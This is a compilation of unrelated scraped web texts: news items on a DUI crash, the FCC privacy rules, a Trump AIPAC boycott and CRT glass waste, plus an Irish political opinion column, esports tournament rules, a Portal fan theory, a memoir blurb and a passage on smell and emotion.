membership fee before receiving the initial discount. New Prime members will not receive the additional discount if they cancel their membership after the free 30 day trial ends. The Fire TV Stick was the fastest selling product ever when it was released in the US. The device was back ordered for months after it was launched. Get your orders in early, because with these great pre-order discounts it won’t be a surprise if history repeats itself for the Fire TV Stick’s international release. Follow AFTVnews on Twitter / Facebook and subscribe via email to be the first to learn when new articles go live. Follow me, Elias Saba, on Twitter and Instagram to see what I'm working on before it's posted here. ShareTweetShare+1 -Photos and Video of Derek Fisher DUI Crash Released…He’s Lucky to Be Alive (Pics + Video) Video Playback Not Supported Judging from the newly released photos of his wrecked SUV, Derek Fisher and girlfriend Gloria Govan are lucky to be alive. Fisher was behind the wheel of his 2015 Cadillac Escalade when he crashed into a guard rail on the 101 freeway in Los Angeles around 3 a.m. on Sunday morning. The vehicle flipped, but thankfully both he and Govan were buckled in and the airbags deployed, likely saving their lives. Both walked away without injury. TMZ obtained photos of the SUV, which suffered major damage on both the driver and passenger sides. Take a look: TMZ also obtained video footage of the crash site shot by someone driving by early Sunday morning: I’d say Matt Barnes must be loving this, except he probably isn’t. More likely his anger at Fisher is at an all-time high. Now, not only did Fisher “steal” his girl, the mother of his children, he almost killed her by driving drunk. Of course, Fisher now has much bigger problems than Matt Barnes. He’s facing a serious DUI charge that could derail whatever chance he had of getting another NBA coaching gig. Hat Tip – [TMZ] Tags: Share This -Perhaps the main reason why Ryanair chief executive Michael O’Leary spoke to a Fine Gael “business breakfast” last week – a private fundraising event for the party – was because he wants backing for Ryanair to provide a third terminal at Dublin Airport and no involvement of the State-owned Dublin Airport Authority. But he said a lot more at that breakfast, organised by a south Dublin branch of Fine Gael in the Shelbourne Hotel. O’Leary revelled in a coarse, hectoring and hate-filled discourse that would make Donald Trump proud, and his primary targets were public servants; those, who according to Minister for Finance Michael Noonan in December 2013 as Ireland prepared to exit the bailout, are among “the real heroes and heroines” of Ireland’s austerity programme and who endured, in his words, “serious pay cuts”. Why do Noonan and his colleagues then provide a platform for O’Leary to eviscerate those same public servants, and not only that, but positively encourage it? Why is Fine Gael so keen to fawn over O’Leary? Noonan is reported as having introduced O’Leary as “Ireland’s leading altogether decent man”. Minister for Foreign Affairs Charles Flanagan publicly, via his Twitter account, expressed his delight at soaking up O’Leary’s rants: “great start today listening to Michael O’Leary sound off in flying form”. Troubling O’Leary enjoys calling himself an “obnoxious little bollocks”, but the main Government party encouraging him is a more troubling issue. Fine Gael, according to itself, is a “party of the progressive centre”. Speaking at the unveiling of the budget on Tuesday, Minister for Public Expenditure and Reform Paschal Donohoe solemnly announced: “Those of us in the middle ground of politics have a duty to show that co-operation and consensus can work; to show that our tone can be moderate.” In relation to its fundraising, the party asserts: “All monies fundraised will be used for electoral purposes and referenda campaigns as no statutory funds are permitted to be used for these purposes.” So the money raised by O’Leary’s attacks on public servants and his aggressive privatisation agenda is to assist the electoral fortunes of Fine Gael. Why is Fine Gael so comfortable with this? Is it because, in reality, it sees O’Leary as an ideological soulmate; a perfect fit for a party that talks centre but thinks right? By all accounts, the several Ministers present at the braggarts’ breakfast did not shift uncomfortably at RTÉ being described as a “rat-infested North Korean union shop” and the singling out of an individual RTÉ journalist for abuse; or with the demand that gardaí campaigning for pay restoration be sacked, or with the insistence that the health and transport services should be entirely privatised, or with the contention that Dublin city centre has been destroyed through “nonsensical pandering to bloody cyclists”. All very juvenile and best to be shrugged off, it could be argued, as O’Leary likes being an Irish Trump and savours the attendant publicity, but why should Fine Gael go unchallenged in contributing to and endorsing a destructive pitching of public against private sector which has been a hallmark of reaction to the Irish economic crisis of recent years? Political backing O’Leary knows nothing about public service. Born to the silver spoon, he was a Clongowes Wood College boy and a student at Trinity College Dublin where he lived in a family-owned apartment before he began his private business enterprises. O’Leary was a poor financial adviser to Ryanair founder Tony Ryan, advising him to close the airline, or else sell it to Aer Lingus. But where would O’Leary be without State support and public money? Ryan sought political backing to withstand Aer Lingus’s predatory pricing and Charles Haughey obliged, with Ryanair getting a free run at Stansted Airport through a demarcation of the routes between the two airlines. Ryan also secured State subsidies in return for serving provincial airports and in 1992, rent breaks for Ryanair’s headquarters at Dublin Airport. Another part of the Ryanair history not dwelt on by its champions is how the State-owned Aer Rianta contributed to the saving of the airline in its early days by writing off more than £1 million (€0.9 milliom) in landing charges and other fees and the renegotiating of deals at Cork and Shannon. These layers to the Ryanair story are now banished in favour of the macho O’Leary soundbites, such as “there is no principle that can’t be overturned for competitive reasons”. Likewise, it appears there are no depths to which the unprincipled O’Leary will not reach to excoriate public servants. Long ago he coined his own expletive – “bolloxology” – which, he explained, “should be liberally used in one-to-one print media interviews when referring to any procedure that other airlines claim is complex”. In juvenile, privileged and elite O’Leary-land there are no complexities; it is all a simple matter of money, market dominance and pathetic public servants that Fine Gael seems happy to laugh at too. -Qualification: There will be 4 separate BO1 Single Elimination Qualification Events: Qualifier 1: Sunday, 26th of January 2014 - 13:00 CET (Signups close at 12:00 CET) Qualifier 2: Sunday, 2nd of February 2014 - 13:00 CET (Signups close at 12:00 CET) Qualifier 3: Sunday, 9th of February 2014 - 13:00 CET (Signups close at 12:00 CET) Qualifier 4: Sunday, 16th of February 2014 - 13:00 CET (Signups close at 12:00 CET) Points: The point distribution changes dependent on the amount of teams that have signed up for a qualification event. 33-64 Teams: 17-32 Teams: 9-16 Teams: 5-8 Teams: : The qualifier is cancelled if 4 or less Teams sign up. Each signed up team receives 1 point.Team captains, (and nobody else) must join the ingame channel SwissLegends at 12:45 o clock on the day of the qualifier. We reserve the right to disqualify teams that are not on time.The tournament bracket will be published at 12:45 CET on the day of the qualifier.Teams in the upper position on the tournament tree have first pick.The team with first pick opens a Custom Game in tournament draft mode with a random password and invites the captain of the enemy team, who will communicate the names of the other members of his team.The pause function can be used in case of disconnects only if no fights are happening! If a pause is used this is to be communicated to the tournament administration after the match.In case of abuse to achieve an advantage the offending team willbe disqualified.The winning team has to submit a screenshot of the aftergame lobby to the ingame channel SwissLegends. (Snipping Tool and imgur.com are recommended)If a team wishes to have a break between matches, this has to be discussed with their next opponent and the tournament administration. Team captains that are absent without informing the administration risk disqualification of their team.: Each Team signing up for a qualifier will be able to specify 6 players. During the respective qualifier, the team can freely swap out between these 6 players, but not with any players not specified during signup. At every following qualifier or at the Finals, the teams will once again be able to specifiy 6 players. HOWEVER, 5 out of these 6 players must have been specified at the original signup to qualify as the same team that earned points in any previous events.All Teams need to consist of 100% players that are living in switzerland. All players in any team that break this rule knowingly will be exempt from any further events. This rule includes all 6 players.The first qualifier will be seeded randomly. Every following qualifier will be seeded according to points the teams have already scored.The 8 Teams with the highest amount of points out of all 4 Qualification events will be participating in the finals on. Should any team not be able to participate, the next team in the ranking will be qualified. In case of a tie, a Best of 1 will be played between the tied teams.The detailed schedule will be published shortly after the final qualifier.THERE ARE NO PRIZES FOR THE QUALIFIER EVENTS!All prizes refer to the finals that will be played on Sunday, the 23rd of February 2014 at 13:00 CET.1. Place - 3200 Riot Points + Ryze Skin for all 5 players of the team + 1x150 Swiss francs2. Place - 2400 Riot Points for all 5 players of the team + 1x50 Swiss francs.3. Place - 1600 Riot Points for all 5 players of the team4. Place - 800 Riot Points for all 5 players of the teamRiot points and skins will be distributed by Riot Games. The cash prize will be transferred to the team captain. Further distribution is the concern of the team captains.Should this format be a success, Qualifiers for Swiss Legends #4 will begin on March 2nd, 2014. The best 4 teams from the Finals will automatically be qualified for the next finals and do not need to participate in qualifiers.Copy and paste the form below the line and complete it with the according information about your team. Teams can only sign up for the current qualifier., even if this leaves their score below 0. Teams can withdraw from a signup until the signup closes. However, all withdrawals are final.Submit the filled out sign up sheet in this thread or mail it to us: -TULSA -- Police are investigating after two separate shootings in Tulsa Thursday evening. Police say a man has died after possibly accidentally shooting himself in north Tulsa. The shooting happened on the 1000 block of North Delaware Place. Police say the second shooting happened on the 1600 block of East Virgin Street. According to police, a woman was shot during a possible domestic disturbance. The woman was taken to the hospital by EMSA medics in emergent condition and is currently undergoing surgery. Stay in touch with us anytime, anywhere. Download our free app for Apple and Android and Kindle devices. Sign up for newsletters emailed to your inbox. Select from these options: Breaking News, Severe Weather, School Closings, Daily Headlines and Daily Forecasts. Follow us on Twitter : Like us on Facebook : -WASHINGTON -- A Tennessee state legislator has introduced a bill to make the Bible the official state book, after two other Southern states considered similar moves in recent months. State Rep. Jerry Sexton (R) put forward his legislation Tuesday. He did not return a request for additional comment. Last month, legislators in Mississippi introduced two bills to designate the Bible as the state book. "The Bible provides a good role model on how to treat people," said Mississippi state Rep. Tom Miles (D), one of the cosponsors of that state's legislation. "They could read in there about love and compassion." A similar measure in Louisiana last year sparked a significant amount of controversy, with critics arguing that it would violate the separation of church and state. Other said it would trivialize the religious text. The sponsor of that bill eventually pulled it before it could go to the full floor for a vote. Although Tennessee doesn't have a state book, it does have a state fruit (the tomato), mineral (agate) and wild animal (raccoon). Want more updates from Amanda? Sign up for her newsletter, Piping Hot Truth. -The Obama administration on Thursday blocked development of a copper and nickel mine near a popular wilderness area in northern Minnesota, saying the project could poison the vast web of lakes, streams and wetlands that crosshatch the region. Acting with just five weeks left in the administration, federal agencies refused to renew leases held by a mining company just outside — and upstream from — the Boundary Waters Canoe Area Wilderness, along the Canadian border. Officials also took steps that could lead to a much larger area being put off limits to mining. The company, Twin Metals Minnesota, sued the government in federal court in September, anticipating a possible rejection and arguing that it had an absolute right to the lease renewals. Twin Metals, a subsidiary of Antofagasta of Chile, one of the world’s largest mining firms, has said it had planned to invest more than $5 billion in building the mine. It was not clear whether the incoming Trump administration, which has vowed to eliminate regulations that hinder economic development, would try to reverse the decision. -Oh boy was this damn hard to crack. Ok, I believe before it was established before that Aperture Science headquarters are in Cleveland, OH. Source: HL2EP2 Though, this has been found. Source: Portal 2 It can be assumed that the Enrichment Center is there, as there is an underground mine in the game. Now here's the catch: Not only are there no salt mines in the Upper Peninsula, the surface as seen at the end of Portal 2 is flat with wheat growing. The UP is very mountainous, so it is impossible that it is flat for miles and miles. Also, no wheat is going to naturally grow there, it is too damn cold. Also, Michigan only has ever had one salt mine. (Source: Michigan State University, Lansing MI) We can either call paradox or assume the newspaper fudged up and meant to say Lower Michigan. Taking that into consideration, Aperture Science bought said mine from the Detroit Salt Company in January 1944. (Source: That Newspaper article from the game. The number 1944 is very hard to read.) So, see this map from Detroit Free Press. That is the location of the Salt Mine. Unless Valve wants to call a sensible location, I am the first person to pinpoint the exact location of where Portal takes place. So, is the field of wheat at the end of the game possible? Yes. Although this is Downtown Detroit, enough time has taken place for all the standing buildings to be gone. First of all, Half-Life takes place in 2003. (Proof below) Source: Half-Life A December like that only happened in 03 and 08. Also, in the book Half-Life 2: Raising the Bar, a note by the series's writer mentions the date March 31, 2003. HL2 takes place 20 years later, making that 2023. Portal happens around the same time as HL2. The minimum amount of time that Chell could have been in hibernation is 2.4 years, so Portal 2 takes place during 2025 or later. (The wake up call tries to specify the amount of days in hibernation, but just repeats 9, so 900 days is reasonable. No facility will decay in 90 days) 29401 AD is also plausible. (9999999/365.25+2029) For many possibilities, it is long enough for the buildings to just plain fall apart. Even for 2025, The Combine may have turned Detroit into scrap metal. Though, Valve really needs to do the research to make this make more sense. -A resolution introduced in the U.S. Senate on Tuesday aims to roll back privacy rules for broadband service providers that were approved by the Federal Communications Commission in October. The rules include the requirement that internet service providers like Comcast, AT&T, and Verizon should obtain “opt-in” consent from consumers to use and share sensitive personal information such as geolocation and web browsing history, and also give customers the option to opt out from the sharing of non-sensitive information such as email addresses or service tier information. The rules have been opposed by internet service providers who argue that they are being treated differently from other Internet entities like search engines and social networking companies. The providers secured a win last week when the now Republican-dominated FCC decided that the operation of the data security provisions would be temporarily halted in view of a stay petition by providers. The data protection rules were to come into force last Thursday. The new resolution introduced by Senator Jeff Flake, a Republican from Arizona, is backed by over 20 Republican co-sponsors. It aims to provide for congressional disapproval of the FCC rule relating to ‘‘Protecting the Privacy of Customers of Broadband and Other Telecommunications Services’’ under the Congressional Review Act, a 1996 law that empowers Congress to repeal federal regulations, according to a statement issued by Flake, who is also chairman of the Senate Judiciary Subcommittee on Privacy, Technology and the Law. The resolution under the CRA would also prevent the FCC from issuing “similarly harmful regulations” in the future, it added. FCC Chairman Ajit Pai, who on Tuesday was nominated for a second term five-year term at the agency by President Donald Trump, favors uniform rules on privacy for Internet companies, with the Federal Trade Commission rather than the FCC setting those rules. His renomination requires Senate confirmation. “The federal government shouldn’t favor one set of companies over another—and certainly not when it comes to a marketplace as dynamic as the internet,” Pai said in a joint statement last week with FTC Acting Chairman Maureen K. Ohlhausen. In an op-ed this month, Flake wrote that by reclassifying in 2015 internet service providers as common carriers, subject to Title II of the Communications Act, the FCC had stripped the FTC of its jurisdiction over the privacy practices of ISPs. The reclassification of broadband as a public regulated utility was part of a move by the previous administration of President Barack Obama to preserve net neutrality in the country. The FTC has no real regulatory power to protect the privacy of Americans once they turn 13 and are no longer covered by a 1998 children’s privacy law, said Jeff Chester, executive director of the Center for Digital Democracy in Washington, in an emailed statement. The Flake resolution has been opposed by civil rights groups as well as Democrats in Congress. Electronic Frontier Foundation has called on people to call up their senators and their representatives to tell them to oppose the use of the CRA to roll back the FCC’s new rules about ISP privacy practices. The use of the CRA would allow Congress to overturn the privacy rules with just a majority vote in both chambers, without the opportunity for members to filibuster, said the American Civil Liberties Union. It would also ban the FCC from issuing rules that are “substantially the same,” raising “serious questions about the FCC’s ability to protect consumer’s online privacy in the future,” wrote Nathaniel Turner, lobbyist assistant at ACLU’s Washington Legislative Office. “The Republican leadership—working on behalf of the nation’s largest cable and phone companies—wants to strip Americans of important protections on how their most sensitive information can be used,” Chester said. He warned that the leading broadband ISPs have developed “Big Data collection practices” that gather and analyze personal information when people are on PC’s, mobile devices and increasingly even while viewing TV. -Donald Trump speaks to supporters at his primary election night event at his Mar-a-Lago Club in Palm Beach, Fla., on March 15. (Gerald Herbert/AP) A group of rabbis is planning to boycott Donald Trump’s speech next week before a leading pro-Israel advocacy group, a sign of growing unease among many Jewish leaders about the populist campaign being waged by the Republican presidential front-runner. About 40 rabbis have said that they plan to participate in the protest of Trump’s appearance Monday at the annual conference of the American Israel Public Affairs Committee, according to an organizer. The planned demonstration comes as members of the Republican Jewish Coalition, a group of major GOP donors, is expected to debate how to deal with Trump during its annual meeting next month in Las Vegas. The concerns being expressed by many Jewish leaders go beyond Trump’s controversial pledge to be “neutral” during peace talks between Israel and the Palestinians — and extend to fears of Trump’s style and approach to power. Some say they hear echoes of a painful past under fascism in Trump’s recent comments appearing to praise authoritarian figures such as Russian President Vladi­mir Putin and in the way that Trump stokes economic anger among his supporters. And they point to Trump’s call for a ban on Muslims entering the United States and his harsh rhetoric on illegal Mexican migrants as reminiscent of the anti-immigrant sentiment that greeted European Jews in generations past. “These are the darkest days for Republican Jews like myself,” former George W. Bush speechwriter Noam Neusner wrote in a column this month in the Forward, a Jewish newspaper. He wrote that Trump “has built within our party the nearest thing America has ever seen to a European nativist working-class political movement. Such movements, to put it mildly, have never been good for the Jews or allies of free thought and the free market.” Speaking at the Republican Jewish Coalition candidate forum on Dec. 3, Donald Trump drew the ire of a few audience members when he wouldn't clarify whether he recognized Jerusalem as the undivided capital of Israel. (Reuters) Trump campaign spokeswoman Hope Hicks said in a statement that Trump “has a long history of being a strong supporter of Israel” and has “made significant contributions to a variety of Jewish related causes over the years.” Organizers of the push to boycott Trump’s AIPAC speech said they are worried that Trump could gain legitimacy through the event and want to deny him a chance to present the invitation as a tacit sign of approval. The organizers said they don’t know how many rabbis will ultimately participate. Those who have signed on so far primarily represent the Reform and Conservative movements of Judaism, whose followers tend to lean left politically. Jeffrey Salkin, a Hollywood, Fla., rabbi helping to organize the boycott, said he and other rabbis were alarmed about Trump’s behavior and rhetoric on the campaign trail. “Jewish history teaches that when hatred is unleashed, it takes on a life of its own,” Salkin said. Salkin said the effort was an attempt to head off “more radical” protest suggestions, including walkouts and jeers, and provide an outlet for those “both nauseated and terrified” by Trump. An AIPAC spokesman declined to comment on the reaction to Trump’s appearance. Leaders of the organization have said they have a policy of inviting all active presidential candidates to speak to the group to ensure that “our community develops a constructive relationship with whomever wins their respective party nomination and thus could be elected president.” Trump’s GOP rivals, Texas Sen. Ted Cruz, who has blasted Trump’s statements on Israel, and Ohio Gov. John Kasich, are also scheduled to appear at the AIPAC conference. Democratic front-runner Hillary Clinton and Vice President Biden will speak there as well. [Why Marco Rubio and Ted Cruz think Israel is a winning issue against Donald Trump] Trump’s appearance presents an opportunity for the billionaire candidate as he seeks to be seen as the legitimate leader of the Republican Party. Trump holds a wide lead in the nomination battle but faces hostility and opposition from many GOP leaders and the country’s foreign policy establishment, which has voiced concerns over Trump’s views on Israel, his support for torture, and an apparent lack of a team of knowledgeable advisers. In addressing the annual Washington policy conference hosted by AIPAC, which has strong ties to both parties, Trump has a rare chance to show that he can deliver a substantive speech away from the raucous rallies that have become a signature of his campaign and contributed to the anxieties of his critics. Nathan Diament, executive director of public policy for the Orthodox Union, called the AIPAC speech a “critical moment” for Trump. “He won’t just be improvising an answer to a question on a debate stage. This is a planned speech. People are going to be looking to this as his definitive statement on his attitude toward Israel,” Diament said. “The audience in the room and the audience tuning in will be a sophisticated audience. They’re going to be looking for Trump to be specific. Trump just saying, ‘believe me,’ is not going to be sufficient.” Trump’s rise has caused particular consternation among Republican Jewish leaders, who had hoped that lingering discomfort with President Obama’s policies on Israel and the Iran nuclear deal embraced by Clinton might lead to GOP gains in November among the traditionally pro-Democratic Jewish electorate. Even a slight shift could be pivotal in battleground states with heavy Jewish populations, such as Florida and Ohio. Some said they have cringed as Trump has repeatedly likened the Israel-Palestinian negotiations to the real estate deals that he has brokered over his career. In a December interview with the Associated Press, he questioned Israel’s commitment to peace and refused to back an undivided Jerusalem as the capital of Israel, a red line for many GOP Israel supporters. “I have a real question as to whether or not both sides want to make it,” Trump said. “A lot will have to do with Israel and whether or not Israel wants to make the deal — whether or not Israel’s willing to sacrifice certain things.” Trump failed to allay concerns during an awkward December appearance before the Republican Jewish Coalition. As many in the audience sat stunned, Trump suggested that he might not win the support of many in the room because he did not want their money. He also said he was best positioned to get a Middle East peace deal because he’s a negotiator, “like you folks.” “I’d like to go with a clean slate and just say just, let’s go, everybody’s even, we love everybody and let’s see if we can do something,” he told the crowd, adding, “Just relax, okay? You’ll like me very much, believe me.” [Donald Trump struggles with Israel question at Republican Jewish summit] He has reiterated his neutrality comments through speeches and debates, arguing that appearing to strongly favor one side over the other would hamper his ability to broker an agreement. “I’m a negotiator,” he said during a debate in Miami last week. “If I go in, I’ll say I’m pro-Israel and I’ve told that to everybody and anybody that would listen. But I would like to at least have the other side think I’m somewhat neutral as to them, so that we can maybe get a deal done.” Still, Trump has sought to assure Jews and other Israel supporters, including evangelical Christians who make up a core segment of his GOP base. He describes himself as “totally pro-Israel” and has said that he has donated large amounts of money to support the Jewish state. He has cited his role as the grand marshal of a pro-Israel parade in New York City in 2004 and his receipt of the Tree of Life award from the Jewish National Fund, which supports building infrastructure and planting trees in Israel. A spokesman for the Jewish Community Relations Council of New York, which now organizes the parade, did not respond to requests for comment. A longtime JNF official, Howard Ingram, said the group’s New York real estate committee gave Trump its Tree of Life award in the early 1980s in part to acknowledge his ability to raise money. During the Miami debate, he mentioned his personal connections to the faith, referring to his daughter Ivanka, who converted to Judaism when she married Jared Kushner, who is a member of a prominent Orthodox family. “I happen to have a son-in-law and a daughter that are Jewish, okay? And two grandchildren that are Jewish,” he said. Hicks, his campaign spokeswoman, added that “many of [Trump’s] top executives and closest friends are Jewish” and “there will be no one stronger on Israeli American relations than him, and his consistent support and advocacy for Israel over many years is proof of this.” Ari Fleischer, a former Bush administration official who also sits on the board of the Republican Jewish Coalition, said Trump’s seemingly confused messages have given “normally reliably Republican Jewish voters reasons to doubt him and question him.” “The term ‘neutrality’ is a terrible buzzword,” Fleischer said. “It’s fraught with the language of the left, that is anti-Israel. So it’s hard to accept this proposition that he’s pro-Israel when he uses such a misguided word.” Fleischer said Trump’s references to the New York parade and his JNF award are not sufficient to soothe concerns. “That has a lot more to do with his wallet than his heart,” Fleischer said. The Israel issue is a particularly important one to a group of deep-pocketed Republican donors, many of them affiliated with the Republican Jewish Coalition, who had rallied around Trump’s opponents, particularly Florida Sen. Marco Rubio. With Rubio out of the presidential race, it remains unclear whether they will acclimate themselves to Trump. Fleischer said there is an active conversation within the RJC about the proper response to Trump, one that will likely dominate the group’s annual meeting in Las Vegas next month. Much of the focus will be on GOP mega-donor Sheldon Adelson, the casino mogul and RJC backer who is aligned with Israeli Prime Minister Benjamin Netanyahu. Adelson has not endorsed in the race, and his spokesman declined to comment. However, Adelson met with Trump in December and declared in an interview with Reuters that he found Trump to be “very charming.” An Israeli blogger, Tal Schneider, reported this week that she had obtained video of Adelson at a fundraiser honoring former New York mayor Rudy Giuliani in Las Vegas on Feb. 27, in which Adelson said: “Trump is a businessman. I am a businessman. He employs a lot of people. I employed 50,000 people. Why not?” An Israeli newspaper owned by Adelson also this week published an interview with Trump conducted after his Tuesday night primary victories, in which Trump declared that his success was “tremendous news for Israel.” “Your friend is leading in the primaries,” Trump told the newspaper’s reporter, who covered his post-election celebration in Palm Beach. “I’ve always been your friend, even at the toughest moments. And that’s not going to change. I love you.” For others, Trump’s broader ideology and leadership style could be a non-starter. “What I hear from the Jewish community is that he’s odious and he’s a bully, and in so far as he expresses a point of view about anything, it’s usually something they disagree with,” said Neusner, the former Bush speechwriter who also served as White House liaison to the Jewish community. Neusner called Trump’s proposed religious test for immigration “a black line” in a community only a generation or two removed from the immigrant experience. “It strikes people as amoral,” he said. “It’s not something that matters only to Republican Jews or Democratic Jews or independent Jews. It’s deeply ingrained.” Correction: An earlier version of this article incorrectly said that Democratic presidential candidate Bernie Sanders was scheduled to address AIPAC. An earlier version also incorrectly referred to Israeli blogger Tal Schneider as he instead of she. -If it can happen in show business, it's happened to Jon Cryer. Now he's opening up for the first time and sharing his behind-the-scenes stories in a warmly endearing, sharply observed, and frankly funny look at life in Hollywood. In 1986 Jon Cryer won over America as Molly Ringwald's loyal and lovable best friend, Duckie, in the cult classic Pretty in Pink, in a role that set the tone for his three-decade-long career in Hollywood. He went on to establish himself as one of the most talented comedic actors in the business, ultimately culminating in his current turn as Alan Harper on the massively popular sitcom Two and a Half Men. With the instincts of a natural storyteller, Cryer charts his extraordinary journey in show business, illuminating his many triumphs and some missteps along the way. Filled with exclusive behind-the-scenes anecdotes, Cryer offers his own endearing perspective on Hollywood, the business at large, and the art of acting. Cryer has worked with some of the biggest and most provocative names in the business, and here, for the first time, he details his experiences with Charlie Sheen, John Hughes, Robert Altman, Molly Ringwald, Demi Moore, Judd Nelson, and Christopher Reeve, among many others. He shares the intimate details of his friendships and relationships, pays tribute to his mentors, and explores the peculiar combination of heart, talent, and wisdom it takes to survive not just the bad times in a notoriously fickle industry but even the good times. In this revealing, humorous, and introspective memoir, Cryer offers listeners a front-row seat as he reminisces about his life and experiences in showbiz over the past 30 years. -The mountain of broken down televisions and computer screens caught fire at around 11 o'clock in the morning, sending a thick plume of grey smoke over the tiny Utah town of Parowan. Soon, about ten fire trucks from neighboring towns Paragonah and Brian joined local firefighters on the scene, and authorities shut down an entire mile of Interstate 15. The firefighters extinguished the blaze within a few hours, but the larger danger remains. The March 2 fire was just one symptom of enormous problem that's spreading across the country. As we move to flat screen TVs and computer displays, we're discarding our big, bulky old school televisions and CRT monitors, and they're piling up in warehouses like the one that caught fire in Parowan, with nowhere to go. These discarded screens aren't just a fire hazard. They're filled with lead and other toxic materials. In California alone, more than 100 million pounds of leaded CRT monitors glass is recovered each year, according to CalRecycle, the state's recycling agency. In some states, recycling programs have provided cash incentives for companies to haul away junky old monitors and TVs, but there's almost no secondary market for the biggest parts of these monitors. So they just sit there, in massive piles. Over the past year, at least a half dozen warehouses filled with CRT debris have been abandoned in places like Baltimore, Cincinnati, Denver, and Yuma, Arizona. The stockpile in Parowan, Utah had not been abandoned, but just months earlier, state environmental officials had ordered its owner, Stone Castle Recycling, to move the waste out of the facility because of environmental code violations. Environmentalists say there's no obvious solution to the problem, but that means it's time for the government to step in. At the very least, we need a place where this growing pile of glass and lead can be cleaned and stored until we know what to do with it. We need a Yucca Mountain for all our CRTs. Billions of Pounds of Leaded Glass ———————————- If you've ever hauled one of the bulky monitors that were universal before the advent of flat panel displays, you'll know that they are remarkably heavy. That's because, behind the screen, there's a big funnel of heavy leaded glass designed to be sturdy and to protect consumers from radiation leakage. The glass is recyclable, and for awhile, U.S. recyclers were able to ship it off for reuse in other countries. But today, there are only a handful of places that will accept this leaded glass. There's a lead smelter in Mississippi, and two more in Canada. And an Indian company, Videocon, is buying it too. But the pipeline of abandoned CRTs is spewing out far more leaded glass than the market can bear. "Nowadays, everything is flat panels. There's just no use for the glass," says Earl Campbell, owner of E-Waste Harvesters in Phoenix. "What you're left with is this glass that you literally have to pay to get rid of." >Over the past year, at least a half dozen warehouses filled with CRT debris have been abandoned in places like Baltimore, Cincinnati, Denver, and Yuma, Arizona. Ten years ago, Videocon was paying recyclers between $100 and $200 a ton for their leaded glass, says Jeff Hunts, a manager with CalRecycle. Today, recyclers have to pay Videocon $100 to $200 per ton just to take the glass away. California pays recycling companies about $10 per monitor to haul away these old school TVs. Typically, they're moved to processing facilities where they can bet stripped of copper, plastic, and circuit boards. The recycling companies can sell all of this waste, but that still leaves the leaded glass in the CRTs. And getting rid of that costs money. So, instead, companies simply store the old monitors or glass in warehouses – warehouses that are increasingly being abandoned. One company – Dow Management – was paid by about ten California recycling companies to haul away about 10 million tons of old monitors and TVs over a three-year period. According to Hunts and Arizona state officials, Dow stuffed them into a warehouses Los Angeles and Arizona, and simply walked away from the toxic glass, leaving the California recyclers and local officials to clean up the mess. Dow's website is still active, but the company didn't respond to an emailed request for comment and a number listed on the website has been disconnected. Stat officials believe that its operators have fled the country. A National Junk Monitor Graveyard? ———————————- The recycling trade publication Resource Recycling has recorded a mini-boom in abandoned warehouses stuffed with old CRT monitors, each one a miniature ecological disaster for local officials, says Jerry Powell, executive editor with Resource Recycling. The numbers add up: 1,500 tons in Cincinnati; 8,000 tons in Denver; 10,000 tons in Halsted Pennsylvania and Vestal New York; 3,000 giant "gaylord" boxes in Baltimore Maryland. "It's a nationwide problem," says Powell. Resource Recycling expects Videocon will stop accepting leaded glass altogether within five years, but people are still throwing out their monitors. Because many of these facilities include mountains of broken leaded glass, they're all mini environmental disasters in the making. Lead can leech into the water system and can cause organ damage when ingested by humans. So what to do? Jim Puckett, founder of the Basel Action Network, the environmental watchdog group that has most carefully watched this situation, says we should clean the glass and then basically bank it for the future. That is to say, storing it in "carefully prepared landfill cells," where it cannot leech out and damage the local environment. To do that, though, will most likely take federal action by an agency such as the Environmental Protection Agency. An EPA spokeswoman didn't have any immediate comment for this story. Puckett's idea is not a long-term solution, but it's better than the toxic surprises that are popping up over the country right now. "I think we need to sequester it," he says. "It is glass and it is lead and some day someone might be able to find a use for that stuff." "Of course the ultimate solution is to design products with end-of-life in mind," he says. -The Smell Report Emotion The perception of smell consists not only of the sensation of the odours themselves but of the experiences and emotions associated with these sensations. Smells can evoke strong emotional reactions. In surveys on reactions to odours, responses show that many of our olfactory likes and dislikes are based purely on emotional associations. The association of fragrance and emotion is not an invention of poets or perfume-makers. Our olfactory receptors are directly connected to the limbic system, the most ancient and primitive part of the brain, which is thought to be the seat of emotion. Smell sensations are relayed to the cortex, where ‘cognitive’ recognition occurs, only after the deepest parts of our brains have been stimulated. Thus, by the time we correctly name a particular scent as, for example, ‘vanilla’ , the scent has already activated the limbic system, triggering more deep-seated emotional responses. Mood-effects Although there is convincing evidence that pleasant fragrances can improve our mood and sense of well-being, some of these findings should be viewed with caution. Recent studies have shown that our expectations about an odour, rather than any direct effects of exposure to it, may sometimes be responsible for the mood and health benefits reported. In one experiment, researchers found that just telling subjects that a pleasant or unpleasant odour was being administered, which they might not be able to smell, altered their self-reports of mood and well-being. The mere mention of a positive odour reduced reports of symptoms related to poor health and increased reports of positive mood! More reliable results have been obtained, however, from experiments using placebos (odourless sprays). These studies have demonstrated that although subjects do respond to some extent to odourless placebos which they think are fragrances, the effect of the real thing is significantly greater. The thought of pleasant fragrances may be enough to make us a bit more cheerful, but the actual smell can have dramatic effects in improving our mood and sense of well-being. Although olfactory sensitivity generally declines with age, pleasant fragrances have been found to have positive effects on mood in all age groups. In experiments involving stimulation of the left and right nostrils with pleasant and unpleasant fragrances, researchers have found differences in olfactory cortical neurone activity in the left and right hemispheres of the brain which correlate with the ‘pleasantness ratings’ of the odorants. These studies are claimed to indicate that positive emotions are predominantly processed by the left hemisphere of the brain, while negative emotions are more often processed by the right hemisphere. (The ‘pleasant’ odorant used in these experiments, as in many others, was vanillin.) Perception effects The positive emotional effects of pleasant fragrances also affect our perceptions of other people. In experiments, subjects exposed to pleasant fragrances tend to give higher ‘attractiveness ratings’ to people in photographs, although some recent studies have shown that these effects are only significant where there is some ambiguity in the pictures. If a person is clearly outstandingly beautiful, or extremely ugly, fragrance does not affect our judgement. But if the person is just ‘average’, a pleasant fragrance will tip the balance of our evaluation in his or her favour. So, the beautiful models used to advertise perfume probably have no need of it, but the rest of us ordinary mortals might well benefit from a spray or two of something pleasant. Beauty is in the nose of the beholder. Unpleasant smells can also affect our perceptions and evaluations. In one study, the presence of an unpleasant odour led subjects not only to give lower ratings to photographed individuals, but also to judge paintings as less professional. The mood-improving effects of pleasant smells may not always work to our advantage: by enhancing our positive perceptions and emotions, pleasant scents can cloud our judgement. In an experiment in a Las Vegas casino, the amount of money gambled in a slot machine increased by over 45% when the site was odorised with a pleasant aroma! In another study – a consumer test of shampoos – a shampoo which participants ranked last on general performance in an initial test, was ranked first in a second test after its fragrance had been altered. In the second test, participants said that the shampoo was easier to rinse out, foamed better and left the hair more glossy. Only the fragrance had been 